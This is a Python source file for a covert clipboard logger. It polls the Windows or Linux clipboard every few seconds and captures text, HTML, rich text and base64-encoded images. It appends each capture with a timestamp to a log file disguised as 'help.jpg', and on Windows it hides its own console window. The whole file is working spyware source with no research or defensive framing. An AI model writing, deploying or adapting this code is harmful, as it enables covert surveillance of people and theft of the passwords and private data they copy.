# Import Modules
import sys, os, io, time, base64
from datetime import datetime

# Set global platform variable
platform = sys.platform

# Import platform modules
if platform == 'win32':
    # Import win32 modules
    import win32clipboard, win32gui, win32console
    # Import Pillow module
    from PIL import ImageGrab
else:
    # Import the pygtk module
    import pygtk
    pygtk.require('2.0')
    # Import the gtk module
    import gtk
    # Get access to Linux clipboard
    clipboard = gtk.clipboard_get()

# Log file path
flePath = 'help.jpg'
# Global clipboard variable
cbData = ''
# How often to check the clipboard
slpDur = 3
# Reload sys module
reload(sys)  
# Set default encoding
sys.setdefaultencoding('utf-8')
# Image Quality %
imgQly = 10

# Method to write clipboard data to file
def writeData(data):
    # Open log file for writing
    with open (flePath, 'a') as fle: 
        # Write data to file
        fle.write (data)
    # Close file
    fle.close()
    
# Hides window from view
def hideWindow():
    # Get handle to console window
    window = win32console.GetConsoleWindow()
    # Set the window to not visible
    win32gui.ShowWindow(window, 0)
    # Return Method
    return True

# Method to return clipboard data type
def getDataType():
    # Open clipboard
    win32clipboard.OpenClipboard()
    # Get data type
    dt = win32clipboard.EnumClipboardFormats(0)
    # Close clipboard
    win32clipboard.CloseClipboard()
    # Return data type
    return dt
    
# Method to get data from clipboard
def getClipboard():
    global cbData
    # Detect data type and handle accordingly
    dataType = getDataType()
    # Check for textual data
    if dataType == 13 or dataType == 49161:
        # Open clipboard
        win32clipboard.OpenClipboard()
        # Get text clipboard data
        cb = win32clipboard.GetClipboardData()
        # Close clipboard
        win32clipboard.CloseClipboard()
        # If clipboard data has changed write to log file
        if cbData != cb:
            # Assign global variable data
            cbData = cb
            # Write text to log file w/ delimiter and date
            writeData('~t~' + str(datetime.now()) + '\n' + str(cbData.encode('utf-8')) + '\n')
    # Check for image data
    elif dataType == 2:
        # Grab image file from clipboard
        img = ImageGrab.grabclipboard()
        # Create buffer for  image
        buf = io.BytesIO()
        # Save image to buffer
        img.save(buf, format='JPEG',optimize=True,quality=imgQly)
        # Base64 encode image 
        img64 = str(base64.b64encode(buf.getvalue()))
        # If clipboard data has changed write to log file
        if cbData != img64:
            cbData = img64
            # Write image to log file w/ delimiter and date
            writeData('~i~'  + str(datetime.now()) + '\n' + str(cbData.encode('utf-8')) + '\n')
    # Check for HTML
    elif dataType == 49403:
        # Open clipboard
        win32clipboard.OpenClipboard()
        # Get HTML data from clipboard
        cb = win32clipboard.GetClipboardData(win32clipboard.RegisterClipboardFormat("HTML Format"))
        # Close clipboard
        win32clipboard.CloseClipboard()
        # If clipboard data has changed write to log file
        if cbData != cb:
            # Assign global variable data
            cbData = cb
            # Write HTML to log file file w/ delimiter and date
            writeData('~h~' + str(datetime.now()) + '\n' + str(cbData.encode('utf-8')) + '\n')

# Method to get data from linux clipboard
def getClipboardLin():
    global cbData
    # Check if clipboard data is text
    if clipboard.wait_is_text_available():
        # Get the text from the clipboard
        cb = clipboard.wait_for_text()
        # If clipboard data has changed write to log file
        if cbData != cb:
            # Assign global variable data
            cbData = cb
            # Write text to log file w/ delimiter and date
            writeData('~t~:' + str(datetime.now()) + '\n' + str(cbData.encode("utf-8")) + '\n')
    # Check if clipboard data is an image
    elif clipboard.wait_is_image_available():
        # Get the image from the clipboard
        img = clipboard.wait_for_image()
        # Tmp image file
        fle = str(time.time()) + '.jpg'
        # Save image
        img.save(fle,"jpeg",{"quality": str(imgQly)})
        # Base64 encode image 
        with open(fle, "rb") as img:
            # Convert file to base64
            cb = base64.b64encode(img.read())
        img.close()
        # Delete tmp file
        os.remove(fle)
        # If clipboard data has changed write to log file
        if cbData != cb:
            # Assign global variable data
            cbData = cb
            # Write text to log file w/ delimiter and date
            writeData('~i~:' + str(datetime.now()) + '\n' + str(cb.encode("utf-8")) + '\n')
    # Check if clipboard data is rich text
    elif clipboard.wait_is_rich_text_available():
        # Get the rich text from the clipboard
        cb = clipboard.wait_for_rich_text()
        # If clipboard data has changed write to log file
        if cbData != cb:
        # Assign global variable data
            cbData = cb
            # Write text to log file w/ delimiter and date
            writeData('~r~:' + str(datetime.now()) + '\n' + str(cbData.encode("utf-8")) + '\n')
    return True

# Main Routine
if __name__ == "__main__":
    # If Windows hide console window
    if platform == 'win32':
        hideWindow()
    # Infinite Loop
    while True:
        if platform == 'win32':
            # Get Windows clipboard contents
            getClipboard()        
        else:
            # Get Linux clipboard contents
            getClipboardLin()
        # Wait for slpDur
        time.sleep(slpDur)
